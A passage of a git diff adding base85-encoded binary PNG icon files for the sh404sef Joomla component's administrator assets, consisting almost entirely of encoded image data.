ze|5L-JPHf}<3OfFAppL7Uu(FgZpDM=E>?G3|4tzq4ou+bVkO~$@56W+hQ^`bK~*GB z!ZKh{QnTkkfv0zkpcbYu6A=WcPr}k#Fcc^ShQMgoI759?ob1oy=5r`7i})FopCxXN zlMGETlupogDxN#myzTDhHy_^adCmYZ3ZyCanJS|Y)eDw?X~{zMCpTOvghMl4F-kr) z05qZm%LJt~;gFy;G^8|XBLbsoINm3$T^xAJ z^M!Q2xabTa6fp@!3?LGGCYpRY&xw6UQHGT(TD=6m6d{8y+!yXXXc|`d>zmIPQ<;z} zKmiHDM-jM)pa28GP(sKQVqqa_3(1I-=ZFZFDZJt$}9Ql&qBvUb_(Xjr}P+@+eF1Nj2vTqx+%`z;0<%YcXt z;gBX34LYnPk7jLa7~Kofe{3alHf|`p?yeWDvbz;XbjPW3*Kgn(`eT%f|YWJv<$%zuuTYC65P$e@~*(JPvC(w4>i-( z0n5~3D+E&+si@pbe+A#yXdm`AXL$IbZ+?Bxj_>U`b=S*(y=LX5H)<_ZDUGXx*_Ju` z`H*emyKeC$LO=owTPpCeZGowUdVy&d2J=FV4G9Bm_pEDRhC-g_ht0rBC0H78eOR|T!X0I0a3_q6{*C zpmB0AHa^XQ#=0O1AwjVtK@{={D3o)A-ptICfucc#3ZmD%$6Dn?=I68N9mhMIa_g;B zkVr)$b9?~>p^y-=gk+Tvt4Ls`62hhs4hgmu%$XQ-@yK({CYyLz%3f6xBrH=w*sMru zvluVsh^Xg3mn$bS273=ZcceWxo}KoCEyJ9d1rJ6ukjaB#YOD|_lXA>2c`N_~wiU?D zhflG5X`E$sCfBahBqBlbQW7LGLj`j~=IrL5rQp0;jcv@rGB1S`;BWiMXFJmAiC?|= zdZvu2l)SWt!6{AN(WG+$X3y8SS_elrdM1&fHKqh~8t5x<_*fsFBpDv|h*|LAjl!a2 zup_mKUI?2IG6I+p6E0aO+`bkrUkKT0AAiP1bGH&c1i3`zvy*;m!SWUzYPzkl!H(9Z zj3Rx6;c1x23VBz^I8Yr6_Cgf*N&&B>OjZ$LY6>2Cyq#mM&D*s~qz6Zg`uZB1R7|m^ zA&4*w<3*yVU@fFy1e>|}&&W<3dUmR5 z{fCD7M`G8lULG;3qKat;ddCB+Pi2EJTbGy#iJ*(1LA1sf!O6qVpX}$2eMdUBKlP1o zo@jaQv4#~}m-Y;>qQ2H95i@A4E^Rji15Lt&MKM8pn$A9#XSesV?U|#rww^rNdib~Z zA8&r*ErL3rP@%wSXJmTcuKzxM?z)e<$2yHGmMspe@q)rB2(GW0%m&ZYB`cngidO*> zaNk#YJKs1oG1}eM-?i`QhGp+s*wLrgr{W>vRVH?5W>FVh7##L_ zb^a?G<9Rvn}>GC3(K|tj(D?p*`$O{K+7j5Wi?Y6Io z7=~R}8)Di~WSk&c)W)SuFA%gA97i~GILpr-Z)4B?!-sbN?*rfHXx+Xa7yu?G$9kqa zTVL7Pxbmt**MMw{hD}MtLRcn@PimTvW!Uz7C$H`4%5}6Kd~DbA_kQc}-bc3sy}+p= zc)t?(X%s3>(E02{{?MC`9t}knygD+OIH$9_u-wwVq#_2XDwCL{@jbySz{I#u^PvfT z`&50+K0fMq`l-bo&X_%H3N!)nnk8fYl zu=YMv>Coi(Nc)lfPkit7m;UV)t^FZp*Sv4rY@1cob9#SB0a2hTky?_fZCJCw4kr?5 zZ5EuYpPuYbpXzTJ_kA}5OfpmUxfSnYzIT536AxW4$eNd*zI(^maC=Gd()05@JFk4E zzR=vZp(5CJgo^jdrm$PQ9A?+6YK}bjol&5wC|B0Ize|6%EdL*l+kOF7*jdy70000< KMNUMnLSTX)Q0R;R literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-facebook.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-facebook.png new file mode 100644 index 0000000000000000000000000000000000000000..a4a7a47d55891fa3cfbf49a0320e49e7defdda6b GIT binary patch literal 1194 zcmV;b1XcTqP)LqYoJyQusCcK(|*A@Ns^RII`blz%iSVx zhb|oerJ(=O_3N+sZ(rNY3w^JEkR0XjQ7p>Jj1a5k6gA3P)|K|y?!tbAL+V?z%p6-)4g zupwh$79y*^zfdT&6}-j)C+QKk zoP607JihoZ$6dhj-RofI`qggQ#q5FIFT^t!5}v*kcL6&$tOZloTyPrLfny1Z0^bq= z9dZ&X72N}!NF;DatsCT_;3*Xn?`%W6je8RU|L%JUKKv-dY+3iX4ILL@;kgQMQYA|O zwxNgP@czqR_)}1$`@H=J_ZXn_ykCGbz8s#37qAR?F6RONCPhR0t-uSOn+2FVEU@E% zFFc1Jrr~>%kEtDY8#8^bSoDl}ovN0FiQgN;!N;|Lf93CQ&b(5Rlj^5m!c-D3kio_fat zAAB@bbIs?&g-Gybm{Ovd!^qH`QFp=-K;H~&p}||D;ZtP;_=Wc^EHnnWcm6<91pLR)*b2t zEzqtHI9RJ+sZ`whhgAc$wE%pU;G7Md&hyzq%LU--m&;|#0!~L!EfqkU`N*{jOixco zKErl(b=CNNM@I+fztYjOjqkqQ-Amx+sV)#sFf4HO;)zHrfr}s|M94fyfSi;dm7E)~ zC#3`=M1BuMr#=U}kQ^s?RZX`ZLKyZ&rW-iU^&}C50!dWx(t)gsUqCMIRds!CBQysG?b*{o9PqS`);1(m(NXr53iT%~~TsSs)g0+dlyY0Qd1UD+ve@XaE2J07*qo IM6N<$f@AP5G5`Po literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-metas.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-metas.png new file mode 100644 index 0000000000000000000000000000000000000000..d5452788bd9117f4ed32c2301cfdc0b5cd26684e GIT binary patch literal 2790 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 literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-pageid.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-pageid.png new file mode 100644 index 0000000000000000000000000000000000000000..1bac463a2104efd38ad65bfc0359d7a5d3d6a734 GIT binary patch literal 2429 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 literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-seo.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-seo.png new file mode 100644 index 0000000000000000000000000000000000000000..85b22014c91c7469698aa87e09d238203a1762d7 GIT binary patch literal 4160 zcmV-G5WnwHYp8;Jg~{w9>2!p@!WgQJ+J-hA9u!{*q*T+ zKI!PJd+xb+uXXm?dw=^oaPg3rz?b^|eEdp&b6Hrd(wJxUIRD5 zWAY<~)9s)Y-LB`xH*|<&iSU8o9M(9>ykh=PkHr(7RM|XM{vSlJ_x=8F+<4#;JXQ_C z%Pq0;sjoa=@ZG%+JTFyCf3Q29{(0&3=HrJUP7~IxQ;an|+pktkOtlbz4}rX}%pUGB zd!**{DNixTktU}T*@alv_f*B;bAR!tZ!0hH;4Z+cS!hlC*>Aqo91Q(m9elC+=*H{D z*|@RIwyh1$%vD5@q8YnoGvK;q6`a;_X`A{7v@6@tExhS}1OT^yYEm8^n%2P{;^A?{d zzV|}L%xOtJ2owv3mZ<5^)yy5yn0|&CEMWWdG)2btZQRa3nJ~R2=Gv_homAi@ENaC|LhyX)Ig!;IH;ND`5CVjt zC>2#55rV)w1s;NPl;tAHbaKt+-CMT4`Q0D=%6Gr~8PCY#%X}`1mj#3s=ankO(h&f0 z%dh;_uV+F1S)}YEEvM zV8@;=-8isyQjsKrf%FI*I}mJB3NHl^wdf;LEbm?|u3^vatSMktDZGZWyOC*+n!op&?L-pcH|g zaC8NJ-o7x486dlPVVz*iNb?y+r88&mdKzjK19+s3LWZjQIdpZiAg z@9^}R7Fsz)vf_r7gIH#{xw@$RyIZYcE} zaM7+=#x}4`1lm%95+DiGE->%l#|JZx^gLorB9tdMkdZ)0K?s51M#Nniu%$mM#F^1- z)M_|(-MWoD%Zbiph!}SK;x1;NeTg7F>DaoijNPUc0xPUicYmY6%*~3=>o7e2Tu7MEXogW?EgA|NivjOV@t;uz$ zSWT@UedQLCQg$uitmD*7Mm3jmWRP%jSmINSlmQ_u4bRhvXJnh_Rdq+mZ3GsU^#hQ&@&*rff!E+BTML7 zp6daY7qBJUQ~^_XY#uO0KpIJ1)tJg)D!U}YVy(mbfQ%GEDTGw@YTT9utZAWqEwv2~ru5W9Pn}szuVC1Z z@xfA8W+cQ|Y;Ex&5NVCn3L(YZN<(m-g)T<=Wl{I)nR>z3$NuLKx)bPb@wCQEtd+F8 zRzig^FUar0P}VXAIeyoVuu~%le#%+9ISv zMH;1bCZs&JmW9qw<}Sd8fAFt%`wj1T`(QS^x}2}+%{%nCMybHj8Oi*KjKM(BI}`9h z;S6W}ZgNLGw3y6dhIR=%%+TVBiZ~jOv?OI-Q4C9l{UOz`Bx*KD+D)QH`mBzk2cG@X z-`Lf7Ue-bux6?=CZhC9BSRfk}^Us#-ymd2sZmzj{*LsxJ^iErT@XQb+B7_<((cXK4 z^LXQNwZ~NsS2|o(;>w&Ked`RfKRCjM>$>E<0W;ru9+kkW-u8NQ9HX@U=EEP{y>bj( z`78twx6&^)r#gR}A3f6?p6SyYD(e0Wd-v@m&vKGxLU%Ia=3j`IJy3AqMr}1(P@m->L1s#&vFmI>a);DY8vfN zC)!^%MZK?B$gqW=xod*FpW}?f)Rs7nh~kKCuTEGva+LWK8dEDkfU|gO3AVzU3gIiF zP!Wp~OGQ!F_{xyBJ2cm=r##)KvuXWf4}DKCBDk>)ez}QT2W0q 